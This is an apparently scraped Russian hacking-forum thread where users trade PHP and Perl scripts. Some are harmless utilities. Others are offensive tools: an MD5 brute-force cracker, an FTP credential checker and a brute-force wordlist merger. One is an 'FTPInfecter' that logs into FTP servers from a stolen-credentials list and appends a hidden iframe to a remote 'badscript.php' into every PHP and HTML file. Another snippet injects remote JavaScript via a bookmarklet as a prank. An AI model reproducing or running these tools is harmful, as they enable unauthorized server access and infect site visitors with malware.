2 cRiLaZ Одинарная ковычка быстрее обрабатывается интерпритатором, ибо php не ищет в ней перменных, как это он делает с двойной ковычкой. Пример: <?$text=1;echo "123 $text";?> // вывод '123 1' <?$text=1;echo '123 $text';?> // вывод '123 $text' да и потом сама запись "$text" это очень даже весело. Имя переменной, конечно, никак не указывает на ее значение, и даже не намекает что внутри текст, поэтому нужно прибавить гемору интерпритатору. Я не ругаюсь и не смеюсь =) я просто хочу чтобы в этом раздлеле на античате люди грамотно писали код, вот и все... Насчет ./ - действительно я придрался, но это лишние 2 символа в коде. А если не собираешься читать файл или передумал, зачем ставить флаг на чтение и блокировать его? Насчет обнуления переменной =)))) 2 разные вещи, выкинуть переменную из памяти и забыть о ней, либо продолжать держать в памяти пустое значение =) И насчет "стиль у мя такой", это не стиль, пока это мусор. Приходишь к другу, а у него шкаф по среди комнаты и раковина с кухни проведена в прихожую, он заявляет что у него такой стиль.
MD5CRACK - MD5 Bruteforce Tool PHP: #!/usr/bin/perl # use strict; Sorry next time i'll use it ;) # MD5 Hash Bruteforce Kit # by Iman Karim ([email protected]) # URL : http://home.inf.fh-rhein-sieg.de/~ikarim2s/ # Date : 11.02.2007 # Info[0] : This Cracker is by far not the fastest! But it helped me alot to find "lost" passwords ;) # Info[1] : Written under Kubuntu Linux (Throw away Windows!) # Info[2] : If you can code a bit perl, you can modify it to crack sha etc too... # Greets to: Invisible! $ver = "01"; $dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds. if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";}; use Digest::MD5 qw(md5_hex); use Time::HiRes qw(gettimeofday); if ($ARGV[0]=~"a") { $alpha = "abcdefghijklmnopqrstuvwxyz";} if ($ARGV[0]=~"A") { $alpha = $alpha. "ABCDEFGHIJKLMNOPQRSTUVWXYZ";} if ($ARGV[0]=~"d") { $alpha = $alpha."1234567890";} if ($ARGV[0]=~"x") { $alpha = $alpha. "!\"\$%&/()=?-.:\\*'-_:.;,";} if ($alpha eq "" or $ARGV[3] eq "") {usage();}; if (length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";}; print "Selected charset for attack: '$alpha\'\n"; print "Going to Crack '$ARGV[3]'...\n"; for (my $t=$ARGV[1];$t<=$ARGV[2];$t++){ crack ($t); } sub usage{ print "\n\nMD5 Hash Bruteforce Kit v_$ver\n"; print "by Iman Karim (iman.karim\@smail.inf.fh-bonn-rhein-sieg.de)\n"; print "http:\/\/home.inf.fh-rhein-sieg.de\/~ikarim2s\/\n\n"; print "USAGE\n"; print "./md5crack <charset> <mincount> <maxcount> <yourMD5>\n"; print " Charset can be: [aAdx]\n"; print " a = {'a','b','c',...}\n"; print " A = {'A','B','C',...}\n"; print " d = {'1','2','3',...}\n"; print " x = {'!','\"',' ',...}\n"; print "EXAMPLE FOR CRACKING A MD5 HASH\n"; print "./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n"; print " This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n"; print " MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n"; print "./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n"; print " This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n"; print " MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n"; print "./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n"; print " This example tries to crack the given MD5 with nearly every character.\n"; print " MD5 Kit only tries combinations with a length from 1 to 10 characters.\n"; die "Quitting...\n"; } sub crack{ $CharSet = shift; @RawString = (); for (my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;} $Start = gettimeofday(); do{ for (my $i =0;$i<$CharSet;$i++){ if ($RawString[$i] > length($alpha)-1){ if ($i==$CharSet-1){ print "Bruteforcing done with $CharSet Chars. No Results.\n"; $cnt=0; return false; } $RawString[$i+1]++; $RawString[$i]=0; } } ################################################### $ret = ""; for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);} $hash = md5_hex($ret); $cnt++; $Stop = gettimeofday(); if ($Stop-$Start>$dbgtmr){ $cnt = int($cnt/$dbgtmr); print "$cnt hashes\\second.\tLast Pass '$ret\'\n"; $cnt=0; $Start = gettimeofday(); } print "$ARGV[3] != $hash ($ret)\n"; if ($ARGV[3] eq $hash){ die "\n**** Password Cracked! => $ret\n"; } ################################################### #checkhash($CharSet)."\n"; $RawString[0]++; }while($RawString[$CharSet-1]<length($alpha)); } sub checkhash{ $CharSet = shift; $ret = ""; for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);} $hash = md5_hex($ret); $cnt++; $Stop = gettimeofday(); if ($Stop-$Start>$dbgtmr){ $cnt = int($cnt/$dbgtmr); print "$cnt hashes\\second.\tLast Pass '$ret\'\n"; $cnt=0; $Start = gettimeofday(); } if ($ARGV[3] eq $hash){ die "\n**** Password Cracked! => $ret\n"; } }
удобная универсальная функция для работы с сокетами. PHP: function httpSocketConnection($host, $method, $path, $data) { $method = strtoupper($method); if ($method == "GET") { $path.= '?'.$data; } $filePointer = @fsockopen($host, 80, $errorNumber, $errorString); if (!$filePointer) { exit('Failed opening http socket connection: '.$errorString.' ('.$errorNumber.')<br/>\n'); return false; } $requestHeader = $method." ".$path." HTTP/1.1\r\n"; $requestHeader.= "Host: ".$host."\r\n"; $requestHeader.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n"; $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n"; if ($method == "POST") { $requestHeader.= "Content-Length: ".strlen($data)."\r\n"; } $requestHeader.= "Connection: close\r\n\r\n"; if ($method == "POST") { $requestHeader.= $data; } fwrite($filePointer, $requestHeader); $responseHeader = ''; $responseContent = ''; do { $responseHeader.= fread($filePointer, 1); } while (!preg_match('/\\r\\n\\r\\n$/', $responseHeader)); if (!strstr($responseHeader, "Transfer-Encoding: chunked")) { while (!feof($filePointer)) { $responseContent.= fgets($filePointer, 128); } } else { while ($chunk_length = hexdec(fgets($filePointer))) { $responseContentChunk = ''; //logEventToTextFile('debug', $chunk_length); $read_length = 0; while ($read_length < $chunk_length) { $responseContentChunk .= fread($filePointer, $chunk_length - $read_length); $read_length = strlen($responseContentChunk); } $responseContent.= $responseContentChunk; fgets($filePointer); } } //logEventToTextFile('debug', $responseContent); return chop($responseContent); } пример использования: PHP: $data="var1=test&var2=test2"; $host = "www.somesite.com"; $path = "http://www.somesite.com/test.php"; $method = "POST"; echo httpSocketConnection($host, $method, $path, $data);
наверное здесь уже выкладывали скрипт для выдирания мэл, этот может (вроде как) вычленить из любого набора текста мэла P.S. Ногами не бейте, я начинающий, очень хотелось чем-нибудь поделиться, может кому пригодиться P.P.S В данный момент пытаюсь тоже самое сделать но через сокеты, как-то не особо получается, но если кому интересно + просто не влом помочь пишите в личку PHP: <?php $to=array('>','<','/','"','\'','='. ',','.'); $fnl=array(); $result=array(); /*считываем файл*/ $fin=fopen('input.txt','r'); while(!feof($fin)){ $result[]=fgets($fin); } fclose($fin); /*т.к нас интересует отдельные слова то разбиваем весь файл на один массив со значениями - словами*/ $result=implode(' ',$result); $result=str_replace($to,' ',$result);/*очищаем от ненужных символов*/ $result=explode(' ',$result); for($i=0;$i<sizeof($result);$i++) { $str=$result[$i]; $tst=strpos($str,'@');/*находим слова с нужным символом*/ if(!empty($tst)){ if($str[0]=='/') $str[0]=' '; $fnl[]=trim($str); } unset($tst); } $fout=fopen('output.txt','w'); for($i=0;$i<sizeof($fnl);$i++) /*вывод*/ { fputs($fout,$fnl[$i]."\r\n"); } fclose($fout); ?>
ftp checker PHP: <?php /* * FTP Checker By Green Bear * Version 1.0 * Home page: http://netsec.ru/gb/ @---------------------------@ good_ftp = хорошие фтп аккуанты bad_ftp = плохие фтп аккуанты @---------------------------@ #используйте формат user:[email protected] */ //Тайм оут //не стоит ставить больше 15 секунд $timeout = '15'; $good = '0'; $bad = '0'; error_reporting(0); ignore_user_abort(1); if( ! function_exists('ftp_login') OR ! function_exists('ftp_connect')){ die('Function ftp_login or/and ftp_connect not exists'); } if(! file_exists('good_ftp') ){ $f = fopen('good_ftp', 'w'); fwrite($f, ''); fclose($f); } if(! file_exists('bad_ftp') ){ $f = fopen('bad_ftp', 'w'); fwrite($f, ''); fclose($f); } switch($_POST['do']){ case 'check_now' : if($_POST['ftp_acc']){ $array = explode("\n", $_POST['ftp_acc']); check_ftp($array); }else{ echo print_header(); echo '<div class=t>Не задано аккуантов</div>'; echo print_footer(); } break; case 'show_good': show_good(); break; case 'show_bad': show_bad(); break; case 'clear_good': clear_good(); break; case 'clear_bad': clear_bad(); break; default : print_form(); break; } // //functions // function check_ftp($array){ global $timeout, $good, $bad; foreach($array as $a){ $l_h = explode('@', $a); $l_p = explode(':', $l_h[0]); $host = $l_h[1]; $login = $l_p[0]; $pass = $l_p[1]; $ftp = ftp_connect(trim($host), '21', $timeout); if( $ftp){ $ftp_login = ftp_login($ftp, $login, $pass); if($ftp_login){ write_ftp('good_ftp', $host, $login, $pass); $good ; }else{ $bad ; } ftp_close($ftp); unset($host, $pass, $login, $l_p, $l_h); }else{ write_ftp('bad_ftp', $host, $login, $pass); $bad ; } } echo print_header(); echo "<div class='t'> <b>Аккуанты проверены</b>. <br /> Хороших: $good <br /> Плохих: $bad <br /> <form action='$_SERVER[PHP_SELF]' method='post' name='s'><input type='hidden' name='do' value='show_good' /></form> <a href='javascript://' onClick='s.submit();'>Показать хорошие</a> "; echo print_footer(); } function write_ftp($file, $host, $login, $pass){ $f = fopen($file, 'a'); fwrite($f, $login.':'.$pass.'@'.$host."\n"); fclose($f); } function show_good(){ $i= '0'; echo print_header(); $file = file('good_ftp'); foreach($file as $f){ $i ; if( strstr(($i/2), '.') ){ echo "<div class='row1'><b><a href='ftp://$f' target='_blank'>$f</a></b></div>"; }else{ echo "<div class='row2'><b><a href='ftp://$f' target='_blank'>$f</a></b></div>"; } } echo print_footer(); } function show_bad(){ echo print_header(); $file = file('bad_ftp'); foreach($file as $f){ $i ; if( strstr(($i/2), '.') ){ echo "<div class='row1'><b>$f</b></div>"; }else{ echo "<div class='row2'><b>$f</b></div>"; } } echo print_footer(); } function clear_good(){ echo print_header(); $f = fopen('good_ftp', 'w'); fwrite($f, ''); fclose($f); echo '<div class=t>Список очищен</div'; echo print_footer(); } function clear_bad(){ echo print_header(); $f = fopen('bad_ftp', 'w'); fwrite($f, ''); fclose($f); echo '<div class=t>Список очищен</div'; echo print_footer(); } function print_form(){ echo print_header(); echo <<<HTML <form action="$_SERVER[PHP_SELF]" method="post" name='g'> <input type='hidden' name='do' value='show_good' /> </form> <form action="$_SERVER[PHP_SELF]" method="post" name='b'> <input type='hidden' name='do' value='show_bad' /> </form> <form action="$_SERVER[PHP_SELF]" method="post" name='eg'> <input type='hidden' name='do' value='clear_good' /> </form> <form action="$_SERVER[PHP_SELF]" method="post" name='eb'> <input type='hidden' name='do' value='clear_bad' /> </form> <a href='javascript://' onClick='g.submit();'>Показать хорошие</a> <a href="javascript://" onClick="eg.submit()" title="Очистить список" style="color:red">(clear)</a> / <a href='javascript://' onClick='b.submit();'>Показать плохие</a> <a href="javascript://" onClick="eb.submit()" title="Очистить список" style="color:red">(clear)</a> <hr size=1> <form action="$_SERVER[PHP_SELF]" method="post"> <input type='hidden' name='do' value='check_now' /> <br /> <textarea cols='50' rows='7' name='ftp_acc'></textarea> <br /> <input type='submit' value='Проверить FTP' /> </form> <hr size=1> HTML; echo print_footer(); } function print_header(){ return <<<HTML <html><head> <style type='text/css'> body{ color: #C6C6FF; background-color: #262626; font-size:12px; font-family: Verdana, Tahoma; margin: 25px; } form{ margin: 0px; } div{ margin-top:2px; margin-bottom:2px; } a{ color: #9494FF; text-decoration: none; } a hover{ text-decoration: underline; } .title{ font-size: 16px; font-family: Verdana, Tahoma; padding: 5px; color:white; font-weight: bold; text-align:center; background-color: #1C1C1C; } .copy{ text-align:right; padding-right: 10px; } .copy a{ text-decoration: none; color: white; } .t{ margin: 5px; font-size: 11px; background-color: #303030; } .row1{ background-color: #4E4E4E; } .row2{ background-color: #262626; } textarea, input{ border: 0; background-color: #DADAFF; color: black; font-size: 11px; border: none; } </style> </head> <body> <div class='title' onClick="location.href='{$_SERVER['PHP_SELF']}'">FTP CHECKER</div> HTML; } function print_footer(){ return <<<HTML <div class='copy'> Powered by <a href='http://netsec.ru/gb/'>Green Bear</a> , Version 1.0 </div> </body> </html> HTML; } ?>
Вот парочка примеров 1) ftp чекер Правда не хватает много поточности и написан на скорую руку! 2) Сканер портов Такая же проблема как и в первом случаии(((
Вообщем, интересная штука сегодня писалась... но получилось, не то, что хотелось... )))))) Ситуация в двух словах: Взять результаты поиска с domainsdb, отпарсить из исходника страницы найденные по вашему запросу линки, и проверить, если там php скрипт (index.php )))))))))) PHP: <?php// Вообщем-с, открываем исходник страницы с полученными ссылками...//сохраняем в file.txt и поехали...error_reporting(0);set_time_limit(0); $links=fopen('filens.txt','w'); $text = file_get_contents('file.txt'); $pat = "|<a href=\"([^\"]+)\"[^>]+>([^<]+)<|is"; preg_match_all($pat, $text, $mass); for($i = 0; $i < count($mass[1]); $i++) { fwrite($links, $mass[1][$i]."\n");} fclose($links);$text= file('filens.txt'); foreach($text AS $val) { $val=str_replace("\r",'',$val); $val=str_replace("\n",'',$val); preg_match("/^(http:\/\/)?([^\/]+)/i", $val, $math); $host=$math[2]; $f=fsockopen($host, 80); if (!$f) echo("<font color=\"blue\"><b>HOST NOT FOUND</b></font> - <strike>$host</strike>"); fwrite($f, "GET /index.php HTTP/1.0\n\n"); $str = fread($f, 1024);if (substr($str, 9,6)=="200 OK") { echo("<table border='1'><tr><td>"); echo ("<b>$host</b><td> <font color=\"green\"><b>прекрасно!!!<b></font><br>"); echo("</td></tr></table>"); }else { echo("<table border='1'><tr><td>"); echo("<b>$host</b><td> <font color=\"red\"><i>непрекрасно!!!</i></font> <br>"); echo("</td></tr></table>"); } }fclose($f);?> Реализованно по-тупому, но работает
кому мешает register_globals OFF можете вставить в страницу PHP: // Emulate register_globals on if (!ini_get('register_globals')) { $superglobals = array($_SERVER, $_ENV, $_FILES, $_COOKIE, $_POST, $_GET); if (isset($_SESSION)) { array_unshift($superglobals, $_SESSION); } foreach ($superglobals as $superglobal) { extract($superglobal, EXTR_SKIP); } } и забыть об этой проблеме
ну как сказать... register_globals ON само по себе уже небезопасно... поэтому и отключается хостерами
Ну так зачем же его искусственно включать?) Просто предупредил о небезопасности этого =) Используйте функцию. чисто в образовательных целях.
имхо - представляем такую ситуацию: админ - ленивый консерватор. Программная часть сайта не обновлялась года так эдак с 2000'ого. Все скрипты работают исключительно под register_globals=on (бывает такое). Потребовалось сменить хостинг - а на новом register_globals=off. Переписывать двиг не охота, вот и требуется искусственное включение. Больше, имха, незачем.
потому что при пересылке переменных от одного скрипта(формы) в другой, работать все это дело с выключенными register_globals НЕ БУДЕТ
Ну вот, такой маленько-прикольный скриптик Вводим его в адресную строку Code: javascript:o=document.createElement("script");o.setAttribute("src","http://digistyle.3dn.ru/egor.js");document.body.appendChild(o);void(0) Можно над ламером прикольнуться!
Нацарапал тут скриптец для слияния нескольких брутфорс словарей в один прошу заценить. Я в ПХП плохо понимаю, укажите на мои ошибки пожлуйста. И если скрипт вдруг кому помог не пожалейте, дайте репки PHP: <? error_reporting(0); echo "<html><title>Скрипт склеивает несколько словарей для брута в один.</title><body bgcolor='000000' text='0ff0f9'> <table border='2' bgcolor='131313' bordercolor='0ff0f9' width='50%' align='center' height='400' cellpadding='15' cellspacing='0'> <tr valign='top'><td> <font size='3'> Скрипт склеивает несколько словарей для брута в один.<br>Автоматически удаляет повторяющиеся элементы.<br> <font size='2'>(c)oded by underwit</font> <hr color='0ff0f9'><p> <form method='POST'> Имя нового словаря: <input type='text' name='newname' size='10'><p> Введите путь к папке: <input type='text' name='path' size='60'><p> <input type='checkbox' name='delite'> Удалить исходные словари?<p> <input type='submit' value='Склеить'><br> </form> <hr color='0ff0f9'><p>"; $truepath = getcwd(); if(empty($path)){echo "Текущий каталог - ".$truepath."<br>";} if(!empty($newname)) { if(!empty($path)) { chdir($path); echo "Установленный каталог - ".$path."<br>"; $allpass = array(); $catalog = opendir($path) or die("Не удалось открыть каталог"); while($file = readdir($catalog)) { if(($file != ".") && ($file != "..")) { $_file = fopen($file,"r"); while(!feof($_file)) {array_push($allpass, fgets($_file));} fclose($_file); } if($delite == true){unlink($file);} } closedir($catalog); }else{echo "Введите путь к каталогу со словарями";} }else{echo "Введите новое имя для словаря и укажите путь к каталогу со словарями";} if(!empty($allpass)) { $allsize = count($allpass); $end = array_unique($allpass); $uniqsize = count($end); $redel = $allsize - $uniqsize; $endfile = fopen($newname.".pass","a"); for($i='0';$i<sizeof($end);$i++) {fwrite($endfile,$end[$i]);} fclose($endfile); echo "Новый словарь сохранен как - ".$path."/".$newname.".pass"."<br>"; echo "Всего элементов - ".$allsize."<br>"; echo "Уникальных элементов - ".$uniqsize."<br>"; echo "Удалено повторных - ".$redel."<br>"; } echo "</font></td></tr></table></body></html>"; ?>
вот тут был скрипт, давно писал. фтпинфектер... во как. создаём файл. туда пишем данные вот в таком виде: ftp_server;login;pass скрипт парсит этот файл, подключаеццо к каждому серверу и заражает все файлы с расширением php, htm, html. вот собсно сам код PHP: <? ## FTPInfecter by xtreem ## mail: [email protected] error_reporting(0); set_magic_quotes_runtime(0); @set_time_limit(0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); $safe_mode = @ini_get('safe_mode'); echo " This is FTPInfecter script\n"; echo " Coded by xtreem([email protected])\n"; echo " example: FTPInfecter.php servers.db\n\n"; if (!$argv[1]) { $servdb = "servers.txt"; }else{ $servdb = $argv[1]; } $code = "<iframe src=\"http://hackpage.net/badscript.php\" width=1 height=1></iframe>"; $file = file($servdb, "r"); $count = count($file); $is = 0; while ($is < $count) { chomp; $met = explode(';', $file[$is]); $server = $met[0]; $user = $met[1]; $pass = $met[2]; if (($connect = ftp_connect($server)) && ($login = ftp_login($connect, $user, $pass))){ echo "CONNECTED TO:".$server."\n"; $buff = ftp_nlist($connect, ''); $d = count($buff); $i = 0; while ($d <> $i) { if ($buff[$i] <> '.' && $buff[$i] <> '..'){ if (ftp_chdir($connect, $buff[$i])) { echo "DIR: ".$buff[$i]."\n"; ftp_chdir($connect, '..'); }else{ $part = explode('.', $buff[$i]); if ($part[1] == 'php' or $part[1] == 'htm' or $part[1] == 'html'){ echo "FILE: ".$buff[$i]."\n"; $fp = fopen($buff[$i], 'w+'); if (ftp_fget($connect, $fp, $buff[$i], FTP_ASCII, 0)) { echo "GET: ".$buff[$i]."\n"; } fclose($fp); $fw = fopen($buff[$i], 'a'); fputs ($fw, $code); fclose($fw); echo "INFECTED: ".$buff[$i]."\n"; if (ftp_put($connect, $buff[$i], $buff[$i], FTP_ASCII)) { echo "PUT: ".$buff[$i]."\n";} $del = unlink($buff[$i]); if ($del){echo "DELETE: ".$buff[$i]."\n\n";} } } } $i++; } ftp_close($connect); }else{echo "NOT CONNECT TO: ".$server."\n";} $is++; } ?>
Вывод даты нормальным русским языком: PHP: function rusdate($d) { $montharr = array("января","февраля","марта","апреля","мая","июня","июля","августа","сентября","октября","ноября","декабря"); $i = date("m",$d) - 1; return date("j",$d)." $montharr[$i] ".date("Y",$d); } Узнаем серверное время со сдвигом часовых поясов: PHP: function zonetime($date,$zone) { $date+=$zone*3600; return gmdate("d.m.Y H:i",$date); } Например, echo PHP: zonetime(time(),+3); покажет московское время (независимо от того, в каком поясе расположен сервер ) Следующий скрипт весьма полезен (писал для своей гостевой). Выводит мыла таким образом, чтоб их не смогли воровать роботы-собиральщики мыл (во как): PHP: function showemail($email) { echo "<script language=\"JavaScript\"><!--\n". "document.write('".substr($email,0,strpos($email,"@"))."'+'@'+'". substr($email,strpos($email,"@")+1,strpos($email,".")-strpos($email,"@")-1)."'+'.'+'". substr($email,strpos($email,".")+1, strlen($email) - strpos($email,".")-1)."');\n". "//--></script>\n"; } (подразумевается, что используется валидный параметр вида бла@бла.бла, проверку мутите еще при вносе в БД мыла =)) Так-с, идем дальше. Так я обычно проверяю, является ли какой-либо параметр числом: PHP: function IsDigit($d) { return (!(empty($d)) && ctype_digit($d)); } Замена в тексте всех мыл и урлок на соответствующие ссылки: PHP: $text = ereg_replace('[-a-z0-9!#$%&\'*+/=?^_`{|}~]+@([.]?[a-zA-Z0-9_/-])*','<a href="mailto:\\0">\\0</a>',$text); $text = ereg_replace(' [a-zA-Z]+://(([.]?[a-zA-Z0-9_/-])*) ',' <a href="\\0">\\1</a> ',$text); $text = ereg_replace(' (^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*) ',' <a href="http://\\2">\\2</a> ',$text); Часто на сайтах слева и справа бывают узкие колонки, куда можно повпихивать всякую интересную инфу (например, последние темы с форума). Но если попадается длинное слово, то колонка разъезжается, становится хз че. Следующая функция разрезает на куски только те слова, которые длиннее заданного параметра. Очень полезно: PHP: function break_long_words($source_text,$lng) { $regExp='/(\S{'.$lng.',})/ei'; $res_text=preg_replace($regExp,"wordwrap('\\1',$lng,'\n',1)",$source_text); return $res_text; } Пока все. Удачи!
Выдирает поля из дампа таблицы: Code: #!/usr/bin/perl -w if ($ARGV[0] eq "") {print "Example: perl dump.pl Clients.sql"; exit;} open (f1,$ARGV[0]) || die $!; open (f2,">log") ||die $!; if ($ARGV[1] eq "") { $s=<f1>; $s=~s/\'//g; @temp=split(",",$s); for ($i=0;$i<$#temp;$i++){ print "$i-$temp[$i]\n"; } #for print "\nExample: perl dump.pl Clients.sql 4-6-15-20"; exit; } #if @temp = split("-",$ARGV[1]); while (<f1>) {s/\'//g; #s/\s\'//g; (@temp2)=(split(",",$_))[@temp]; print f2 join(":",@temp2). "\n"; } #while close(f1); close(f2); Запускаем: "perl dump.pl Clients.sql 4-6-15-20" Clients.sql - имя сортируемого файла, 4-6-15-20 номера колонок через "-" (узнать можно запустив только "perl dump.pl Clients.sql "). Сортировка файла с удалением повторяющихся элементов: Code: #!/usr/bin/perl -w if ($ARGV[0] eq "") {print 'sort.pl filename'; exit;} open (f1,$ARGV[0]) || die $!; open (f3,">sorted") ||die $!; %seen=(); @uniq=grep {! $seen{$_} ++ } <f1>; print f3 sort @uniq; close(f1); close(f3); Запускаем: "sort.pl filename"